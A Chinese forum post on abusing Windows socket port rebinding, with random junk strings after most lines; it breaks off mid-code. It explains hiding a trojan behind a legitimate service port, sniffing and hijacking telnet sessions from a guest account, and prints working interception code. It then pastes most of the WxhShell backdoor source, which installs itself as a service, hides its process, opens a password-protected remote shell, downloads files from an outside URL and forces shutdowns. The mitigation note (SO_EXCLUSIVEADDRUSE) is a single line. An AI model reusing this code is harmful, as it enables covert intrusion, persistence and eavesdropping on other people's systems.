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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n\'4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MUc$ j&  
(gU!=F?#m  
  saddr.sin_family = AF_INET; T/~f~Zz  
a0E)2vt4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j0aXyLNX  
k5e;fA/w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 50wulGJud  
]7BvvQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #x60xz  
5m 4P\y^a  
  这意味着什么?意味着可以进行如下的攻击: MrFQ5:=  
Y =I'czg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  A,<E\  
iy!=6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P>D)7 V9Hh  
Pn1^NUMZJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #A/  
 'KL0@l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o[w:1q7  
-f^tE,-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6l x>>J!H  
eJ-xsH*8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p)-^;=<B3  
,^< R{{{-A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 & h)yro  
ED( Sg  
  #include ..5CC;B  
  #include +GN(Ug'R  
  #include `HSKQ52  
  #include    _< V)-Y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F~W6Bp^W  
  int main() ueWEc^_>  
  { 3(N$nsi  
  WORD wVersionRequested; NwvC[4  
  DWORD ret; ,/2Vt/lt  
  WSADATA wsaData; xm~`7~nFR  
  BOOL val; An0|[uWH  
  SOCKADDR_IN saddr; \?-<4Bc@  
  SOCKADDR_IN scaddr; !>o7a}?  
  int err; J!(<y(l  
  SOCKET s; G>}255qY  
  SOCKET sc; .2t4tb(SUw  
  int caddsize; AV]2 euyn  
  HANDLE mt; :eCwY  
  DWORD tid;   J yK3{wYS  
  wVersionRequested = MAKEWORD( 2, 2 ); 3;9^  
  err = WSAStartup( wVersionRequested, &wsaData ); WE#^a6  
  if ( err != 0 ) { V2EUW!gn 2  
  printf("error!WSAStartup failed!\n"); !9e=_mY  
  return -1; >uRI'24  
  } `/+>a8  
  saddr.sin_family = AF_INET; \*?~Yj #  
   ^z*t%<@[Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Wvh#:Z  
_ 4~+{l+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q3~H{)[Kq  
  saddr.sin_port = htons(23); a58H9w"u)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =y*IfG9b  
  { t{9GVLZ  
  printf("error!socket failed!\n"); 0Mm)`!TLSW  
  return -1; eo?bL$A[s  
  } ;igIZ$&  
  val = TRUE; c)85=T6*aA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^{`exCwM x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q.bSIV|  
  { ="H`V V_  
  printf("error!setsockopt failed!\n"); :3Ox~o  
  return -1; 4p F*"B  
  } M|h3Wt~7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;$|nrwhy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \gaw6S>n}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Wn2NMXK  
@Nx 9)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hn@08t G  
  { U7F!Z( 9  
  ret=GetLastError(); KV *#T20T  
  printf("error!bind failed!\n"); JH9J5%sp  
  return -1; S%>]q s  
  } T!#GW/?  
  listen(s,2); + &Eqk  
  while(1) iYoMO["X  
  { 7JH6A'&  
  caddsize = sizeof(scaddr); X+9>A.92  
  //接受连接请求 v\ )W?i*l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U8?mc  
  if(sc!=INVALID_SOCKET) d7upz]K9g  
  { {!L~@r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9Y9GwL]T  
  if(mt==NULL) :5<UkN)R(  
  { #;yZ  
  printf("Thread Creat Failed!\n"); =; Ff4aF  
  break; N4!O.POP  
  } x 9fip-  
  } 6 H$FhJF  
  CloseHandle(mt); -Q*gW2KmV  
  } O^ yG?b  
  closesocket(s); <]2wn  
  WSACleanup(); I\ob7X'Xu!  
  return 0; 4D4j7  
  }   NXrlk  
  DWORD WINAPI ClientThread(LPVOID lpParam) W${Ue#w77  
  { >kVz49j  
  SOCKET ss = (SOCKET)lpParam; &h/X ku&0  
  SOCKET sc; a`>B Ly5o  
  unsigned char buf[4096]; U5de@Y  
  SOCKADDR_IN saddr; h2R::/2.  
  long num; #\m<Sz5Gp#  
  DWORD val; onzxx4bax  
  DWORD ret; f+!(k)GWd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k9!{IScq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Fx.=#bVX7  
  saddr.sin_family = AF_INET; Dp9+HA9t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (!WD1w   
  saddr.sin_port = htons(23); nNn :-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :vbW  
  { O\ r0bUPE  
  printf("error!socket failed!\n"); ~9@UjQ^)F  
  return -1; kxv1Hn"`{E  
  } .ioEI sg  
  val = 100; xy;;zOh`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R\[e!g*I  
  { XSLFPTDEc  
  ret = GetLastError(); rey!{3U  
  return -1;  b>ySv  
  } z2GY:<s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =Xr.'(U  
  { 1yhDrpm  
  ret = GetLastError(); Q~Wqy~tS  
  return -1; s$j,9uRr  
  } InI$:kJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ww1[rCh\+  
  { ]/L0,^RI  
  printf("error!socket connect failed!\n"); <e6#lFQqK  
  closesocket(sc); OneY_<*a<  
  closesocket(ss); D&y7-/  
  return -1; K}Qa~_  
  } WpvhTX  
  while(1) % pCTN P  
  { S f# R0SA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <a3 WKw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "w<#^d_6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 R:qW;n%AF  
  num = recv(ss,buf,4096,0); H Pz+Dm  
  if(num>0) (E1~H0^  
  send(sc,buf,num,0); |FRg\#kf%  
  else if(num==0) m8[j #=h  
  break; v]UwJz3<  
  num = recv(sc,buf,4096,0); (T oUgVW1N  
  if(num>0) xAm6BB c  
  send(ss,buf,num,0); Ny/MJ#Lq  
  else if(num==0) $F.a><1rY  
  break; )^hbsMhO  
  } #RLt^$!H  
  closesocket(ss); J{G?-+`  
  closesocket(sc); C0Z=~Q%  
  return 0 ; >vsqG=x  
  } _+MJ%'>S  
GM<9p_ B  
_Fg5A7or  
========================================================== OY({.uVdX  
hDGF7  
下边附上一个代码,,WXhSHELL >H ,*H;6  
owv[M6lbD  
========================================================== H\[W/"  
wMN]~|z>  
#include "stdafx.h" |_U= z;Y  
>9J:Uo1z  
#include <stdio.h> *LY8D<:zs  
#include <string.h> l'E6CL}@[  
#include <windows.h> .=; ;  
#include <winsock2.h> xT2PyI_:  
#include <winsvc.h> 9>#6*/Oa7  
#include <urlmon.h> K*dCc}:`  
G3v5KmT  
#pragma comment (lib, "Ws2_32.lib") F:DrX_O%  
#pragma comment (lib, "urlmon.lib") _)-o1`*-  
\fe]c :  
#define MAX_USER   100 // 最大客户端连接数 q@2siI~W  
#define BUF_SOCK   200 // sock buffer pfI&E#:5  
#define KEY_BUFF   255 // 输入 buffer /Z4et'Lo  
Dvln/SBk  
#define REBOOT     0   // 重启  !}$$:  
#define SHUTDOWN   1   // 关机 TD_Oo-+\  
*Pg2c(Vg  
#define DEF_PORT   5000 // 监听端口 ySI !d|_  
g9F?z2^  
#define REG_LEN     16   // 注册表键长度 bg0Wnl  
#define SVC_LEN     80   // NT服务名长度 \l3h0R  
=Fl^`*n  
// 从dll定义API T51 `oZ`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e96k{C`j0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _SkLYL!=9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); akQ7K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }ad|g6i`  
ovV'VcUs  
// wxhshell配置信息 RG`1en  
struct WSCFG { =g|FT  
  int ws_port;         // 监听端口 =tY T8Q;al  
  char ws_passstr[REG_LEN]; // 口令 |Q>IrT  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9&NgtZpt  
  char ws_regname[REG_LEN]; // 注册表键名 >LuYHr  
  char ws_svcname[REG_LEN]; // 服务名 #_lDss  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e>7i_4(C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T[j,UkgGo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u#SWj,X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3+bt~J0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Aiea\j Bv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wm5 dk9&x  
rVsJ`+L  
}; <54 S  
Rx}Gz$   
// default Wxhshell configuration vr^qWn  
struct WSCFG wscfg={DEF_PORT, ,Y48[_ymm  
    "xuhuanlingzhe", Du){rVY^d  
    1, Lj;2\]  
    "Wxhshell", <0?W{3NqI  
    "Wxhshell", H>@+om  
            "WxhShell Service", nFs(?Rv*  
    "Wrsky Windows CmdShell Service", _J[P[(ab  
    "Please Input Your Password: ", ;A!BVq  
  1, 7x a>  
  "http://www.wrsky.com/wxhshell.exe", Q NVa?'0"Y  
  "Wxhshell.exe"  8dyg1F  
    }; wlmRe`R  
{]|J5Dgfe  
// 消息定义模块 0SPk|kr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dcT80sOC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; */DO ex"y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {1 94!S4z  
char *msg_ws_ext="\n\rExit."; 0qT%!ku&  
char *msg_ws_end="\n\rQuit."; ?G&ikxl  
char *msg_ws_boot="\n\rReboot..."; c[Zje7 @  
char *msg_ws_poff="\n\rShutdown..."; Z EO WO  
char *msg_ws_down="\n\rSave to "; Om {'1  
dC4'{ n|7  
char *msg_ws_err="\n\rErr!"; 7"xd1l?zz  
char *msg_ws_ok="\n\rOK!"; 6S\8$  
{FTqu.  
char ExeFile[MAX_PATH]; nt.y !k  
int nUser = 0; WOf 4o  
HANDLE handles[MAX_USER]; 4v|W-h"K  
int OsIsNt; L&OwPd  
61 ~upQaR  
SERVICE_STATUS       serviceStatus; t&Og$@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BL58] P84  
RzusNS  
// 函数声明 $u6 3]rypm  
int Install(void); !5?<% *  
int Uninstall(void); *_g$MI  
int DownloadFile(char *sURL, SOCKET wsh); YT8F#t8  
int Boot(int flag); 3{(/x1 a,4  
void HideProc(void); ua `RJ  
int GetOsVer(void); NW)1#]gg%  
int Wxhshell(SOCKET wsl); gv{ >`AN  
void TalkWithClient(void *cs); j 1HW._G  
int CmdShell(SOCKET sock); ^y4Z+Gu[  
int StartFromService(void); W|(1Y D  
int StartWxhshell(LPSTR lpCmdLine); kz7(Z'pw  
Fea(zJ_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /JU.?M35  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Oz#{S:24M+  
vSLtFMq^(  
// 数据结构和表定义 G<;*SYAb  
SERVICE_TABLE_ENTRY DispatchTable[] = -n5)w*b,  
{ $, fX:x  
{wscfg.ws_svcname, NTServiceMain}, f'3$9x  
{NULL, NULL} B4 8={  
}; ,wdD8ZT'Ip  
hwNf~3eJk  
// 自我安装 h3@v+Z<}  
int Install(void) t<?,F  
{ P}`H ~N~  
  char svExeFile[MAX_PATH]; B^jc3 VsR  
  HKEY key; fa2kG&, _  
  strcpy(svExeFile,ExeFile); |IUWF%~^$+  
U|j`e5)  
// 如果是win9x系统,修改注册表设为自启动 "8zDbdK  
if(!OsIsNt) { 5.J.RE"M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w^0nqh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K,:N   
  RegCloseKey(key); 63x?MY6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '>C5-R:O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iMRwp+$  
  RegCloseKey(key); Ok\7y-w^  
  return 0; njA#@fU  
    } Nu~lsWyRI5  
  } % +\. " eC  
} Hg (Gl  
else { TrR8?-  
_/<x   
// 如果是NT以上系统,安装为系统服务 j^2j& Ta  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v1,oilL  
if (schSCManager!=0) gr-OHeid  
{ @49S`  
  SC_HANDLE schService = CreateService I[X772K  
  ( &~U ]~;@  
  schSCManager, B@ KQ]4-  
  wscfg.ws_svcname, NSA-}2$  
  wscfg.ws_svcdisp, Tc3yS(aq  
  SERVICE_ALL_ACCESS, liz~7RY4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WvZ8/T'x  
  SERVICE_AUTO_START, -!]ZMi9  
  SERVICE_ERROR_NORMAL, ^@NU}S):yN  
  svExeFile, dzrio-QU~  
  NULL, 4x[S\,20  
  NULL, G9<X_  
  NULL, \mlqO[ S  
  NULL, R]*K:~DM  
  NULL SGlNKA},A  
  ); qK&d]6H R  
  if (schService!=0) [0D .K}7|  
  { ijx0gh`~  
  CloseServiceHandle(schService); 0>Z_*U~6  
  CloseServiceHandle(schSCManager); *% @h(js  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vj>8a)"B5a  
  strcat(svExeFile,wscfg.ws_svcname); zjoq6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e6RPIg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C8i^P}y  
  RegCloseKey(key); *<ewS8f*6  
  return 0; *$ %a:q1U  
    } UByv?KZi  
  } cDH^\-z  
  CloseServiceHandle(schSCManager); ,:\|7F  
} TT3|/zwn  
} \d$!a5LF}  
mF^v~  
return 1; _n>,!vH  
} AbmAKA@  
,7K`[  
// 自我卸载 wz ~d(a#  
int Uninstall(void) PBkt~=j  
{ O]1(FWYy  
  HKEY key; tT?cBg{  
vn"{I&L+w0  
if(!OsIsNt) { (0y~%J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WlBc.kFck  
  RegDeleteValue(key,wscfg.ws_regname); R`^_(yn>  
  RegCloseKey(key); hSyql  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #],&>n7'  
  RegDeleteValue(key,wscfg.ws_regname); {o`] I>gb  
  RegCloseKey(key); d <JM36j?  
  return 0; y>e.~5;  
  } _[ZO p ~  
} < F+l  
} C/6V9;U  
else { QbpFE)TYJ|  
D]Xsvv #  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5 5c|O  
if (schSCManager!=0) q;>7*Y&  
{ I,@6J(9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6MdiY1Lr!K  
  if (schService!=0) Y#$%iF  
  { B%+T2=&$7  
  if(DeleteService(schService)!=0) { IG9VdDj  
  CloseServiceHandle(schService); ~|xA4u5LG  
  CloseServiceHandle(schSCManager); yhA6i  
  return 0; M%;hB*9  
  } H-fX(9  
  CloseServiceHandle(schService); 3]3|  
  } v9O~@v{=  
  CloseServiceHandle(schSCManager); Q%mB |i|  
} ':m,)G5&  
} ly3\e_z:G  
HcSXsF  
return 1; Y,t={HiclX  
} ,0HRAmG  
(|1A?@sJ#h  
// 从指定url下载文件 j*TYoH1  
int DownloadFile(char *sURL, SOCKET wsh) 2Gaa(rJ5o  
{ 6]%sFy2  
  HRESULT hr; * U=s\  
char seps[]= "/"; pYZ6e_j1 ~  
char *token; 'o>B'$  
char *file; -"60d @.  
char myURL[MAX_PATH]; H6 HVu |  
char myFILE[MAX_PATH]; @eIJ]p  
r/6o \-  
strcpy(myURL,sURL); _#8RSr8'y  
  token=strtok(myURL,seps); Ur=(.%@  
  while(token!=NULL) R)ITy!z  
  { b-Q>({=i  
    file=token; +8Ymw:D7a  
  token=strtok(NULL,seps); d8=x0~7  
  } 8::$AQL3  
?[Q3q4  
GetCurrentDirectory(MAX_PATH,myFILE); yx&51G$  
strcat(myFILE, "\\"); ;8{4!S&b  
strcat(myFILE, file); C-6F]2:  
  send(wsh,myFILE,strlen(myFILE),0); 1rF]yi:X  
send(wsh,"...",3,0); !*bMa8]*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q}#6e]t  
  if(hr==S_OK) "v({ ,  
return 0; ~=RT*>G_  
else @x'"~"%7b  
return 1; [o+q>|q  
y0.8A-2:  
} .Cl:eu,]  
!1{e|p 7  
// 系统电源模块 q0R -7O(  
int Boot(int flag) ,a]?S^:y]  
{ NDlF0f  
  HANDLE hToken; q ]e`9/U  
  TOKEN_PRIVILEGES tkp; O% KsD[W;  
(~wqa 3  
  if(OsIsNt) { X1-'COQS%&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g+>(dnX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qUGC" <W  
    tkp.PrivilegeCount = 1; };jN\x?&q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (VEpVn3{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e MY<uqdw  
if(flag==REBOOT) { A5R<p+t6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xQXXC|T  
  return 0; 8hJ%JEzga  
} RA'M8:$  
else { $jI3VB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >$7v ;Q  
  return 0; f"SD/]q-  
} m\r@@!  
  } ![_*(8v}S  
  else { \T:i{.i  
if(flag==REBOOT) { 6BbGA*%{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |G,tlchprs  
  return 0; "(z5{z?S  
} .e=:RkI,  
else { ADP%QTdqFJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Et/\xL  
  return 0; @As[k2  
} c[4i9I3v  
} `e|0g"oP  
<vh/4  
return 1; kJzoFFWo$  
} 6qoyiT%P&  
[] `&vWZ  
// win9x进程隐藏模块 _'>oXQJ  
void HideProc(void) ``Dq  
{ s!&#c`=  
9c#+qH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pU%n]]qF  
  if ( hKernel != NULL ) XJ` ]ga  
  { wKY Za# u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JedmaY06=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NS%xTLow-  
    FreeLibrary(hKernel); f'-i o<.  
  } Dhw(#{N  
UU mTOJr  
return; $M lW4&a|  
} Ax?y  
O%(fx!c`  
// 获取操作系统版本 kabnVVn~  
int GetOsVer(void) uK$9Ll{lk  
{ q[`]D7W "  
  OSVERSIONINFO winfo; 6[LM_eP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vCxD~+zf  
  GetVersionEx(&winfo); 1[qLA!+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QnXA*6DJ  
  return 1; G!W[8UG  
  else =K{"{5Wb  
  return 0; 5eoska#y   
} / !Wu D\B  
}Q?c"H!/  
// 客户端句柄模块 Hh-+/sO~"  
int Wxhshell(SOCKET wsl) %?uc><&?e  
{ D 38$`j  
  SOCKET wsh; Y/ >&0wj)d  
  struct sockaddr_in client; X4AyX.p  
  DWORD myID; `U)hjQ~pP  
"B4;,+4kR  
  while(nUser<MAX_USER) 2`>ToWN!  
{ 9{}1r2xW  
  int nSize=sizeof(client); wEE\+3b)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *:t|qgJI#+  
  if(wsh==INVALID_SOCKET) return 1; p|jV{P  
Wi2WRJdyu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  , ^;)<[  
if(handles[nUser]==0) =aA+~/~8%  
  closesocket(wsh); =aj/,Q]  
else X*39c b(b  
  nUser++; ng:9 l3 x  
  } ph[#QHB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wS+ ^K  
[*HN"  
  return 0; 4.h=&jz&  
} X M#T'S9y8  
.ir<s>YM  
// 关闭 socket Q/I! }C4  
void CloseIt(SOCKET wsh) `'c_=<&n  
{ x&9hI  
closesocket(wsh); C\nhqkn  
nUser--; 6morum  
ExitThread(0); 2f:Eof(B  
} }i`PGx  
{Jx4xpvPo  
// 客户端请求句柄 gu<'QV"  
void TalkWithClient(void *cs) ("+}=*?OF3  
{ aj}sc/Qa  
VUYmz)m5  
  SOCKET wsh=(SOCKET)cs; Q7$.LEioN  
  char pwd[SVC_LEN]; @,u/w4  
  char cmd[KEY_BUFF]; k RD%b[*d  
char chr[1]; Zh*u(rO  
int i,j; Z@&Dki  
Ucm :S-  
  while (nUser < MAX_USER) { %1O[i4s:-  
H5]^ 6 HwX  
if(wscfg.ws_passstr) { 2eC(Ijq[a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !V\Q<So<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T G{k0cdOT  
  //ZeroMemory(pwd,KEY_BUFF); t{FlB!jv  
      i=0; ;._7jFj.  
  while(i<SVC_LEN) { 8&~~j7p,  
k^%B5  
  // 设置超时 )m{Ye0!RD  
  fd_set FdRead; AUNQA  
  struct timeval TimeOut; $m+sNEAa  
  FD_ZERO(&FdRead); UIAj]  
  FD_SET(wsh,&FdRead); x-<)\L&  
  TimeOut.tv_sec=8; gV`=jAE_  
  TimeOut.tv_usec=0; [],1lRYI9_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 13%t"-@bh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^;maotHn  
MpqZH{:?G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CI :`<PZ\-  
  pwd=chr[0]; t" 7yNs(I  
  if(chr[0]==0xd || chr[0]==0xa) { \nB8WSvk2W  
  pwd=0; 'GoZqiYT  
  break; R8UYP=Kp  
  } mp?78_I)  
  i++; 3=$q  
    } >sjhA|gXk  
hL;8pE8  
  // 如果是非法用户,关闭 socket !F4@KAv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6"t;gSt 4  
} L%$|^T=%  
E+tB&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N, *m ,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D?,#aB"  
M$d%p6Cv  
while(1) { G4;3cT3'  
aKlUX  
  ZeroMemory(cmd,KEY_BUFF); ;?~$h-9)  
|*Yf.-  
      // 自动支持客户端 telnet标准   LIVU^Os.  
  j=0; -0eq_+oQ  
  while(j<KEY_BUFF) { uy^   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V&|Ed  
  cmd[j]=chr[0]; 7Wa?$6d  
  if(chr[0]==0xa || chr[0]==0xd) { [NIlbjYH  
  cmd[j]=0; ELjK0pE}-  
  break; #D9e$E(J^  
  } 2gjGeM  
  j++; z rv#Xa!O\  
    } Gqcz< =/  
L9ap(  
  // 下载文件 zT|)uP*  
  if(strstr(cmd,"http://")) { 9cx =@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >'5_Y]h4m|  
  if(DownloadFile(cmd,wsh)) |*X*n*oI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K+)%KP  
  else zYv#:>C8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |U k" {  
  } q;D+ai  
  else { F@!Td(r2  
qG/fE'(j&  
    switch(cmd[0]) { pdb1GDl0q  
  CGP3qHrXt  
  // 帮助 %?hsoj&k  
  case '?': { _l], "[d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a=$t&7;,  
    break; gx:;&4AD  
  } lvpc*d|K  
  // 安装 *tX{MSYW  
  case 'i': { 9Sq%s&  
    if(Install()) 5P h X"7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <U9/InN0[  
    else EQIo5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {"H2 :-t<  
    break; 1?Aga,~k:a  
    }  oM1 6C|  
  // 卸载 Ei3zBS?J)  
  case 'r': { ia{c  
    if(Uninstall()) vN OH&ja-s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b*mKei  
    else >x@P|\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c<BO gNr  
    break; CG&`16KN7  
    } Koln9'tB  
  // 显示 wxhshell 所在路径 tPyyZ#,  
  case 'p': { desThnT w  
    char svExeFile[MAX_PATH]; ,kp\(X[J  
    strcpy(svExeFile,"\n\r"); E%TpJl'U  
      strcat(svExeFile,ExeFile); 9>#:/g/  
        send(wsh,svExeFile,strlen(svExeFile),0); rf9_eP  
    break; pA#}-S%  
    } (|fm6$  
  // 重启 z ggB$5  
  case 'b': { YEx)"t8E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "$5\,  
    if(Boot(REBOOT))  `}no9$l~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hj1 EGCA  
    else { 7ji=E";.w  
    closesocket(wsh); _0 snAt^iC  
    ExitThread(0); >(tn"2  
    } B)h>8 {  
    break; X0+fsf<H}  
    } 7W9d6i)  
  // 关机 0i8h I6d  
  case 'd': { oXt,e   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hsG#6?l3  
    if(Boot(SHUTDOWN)) rt+..t\  
